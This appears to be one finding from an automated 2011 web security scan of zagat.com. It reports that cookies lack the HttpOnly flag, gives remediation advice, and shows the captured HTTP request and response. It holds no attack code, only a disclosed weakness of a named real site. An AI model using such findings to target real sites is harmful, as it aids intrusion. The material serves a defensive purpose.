There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /locations/set?s=4293471208 HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/locations/browse?l=563
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; zLAP=%2Flocations; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.6.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 302 Found
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web03.zagat.com
X-Varnish: 483496782
Vary: Cookie
Cache-Control: public, max-age=3600
X-Cache: MISS
Content-Type: text/html; charset=utf-8
Date: Wed, 19 Oct 2011 00:59:51 GMT
Location: http://www.zagat.com/c/stowe-vt
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Via: 1.1 varnish
Connection: keep-alive
Set-Cookie: ZL=burlington; expires=Sat, 16-Oct-2021 00:59:51 GMT; path=/; domain=.www.zagat.com
Set-Cookie: ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; expires=Sat, 16-Oct-2021 00:59:51 GMT; path=/; domain=.www.zagat.com
Last-Modified: Wed, 19 Oct 2011 00:59:51 +0000
X-Powered-By: PHP/5.3.8
Age: 0
Content-Length: 0


Report generated by XSS.CX at Tue Oct 18 20:13:01 CDT 2011.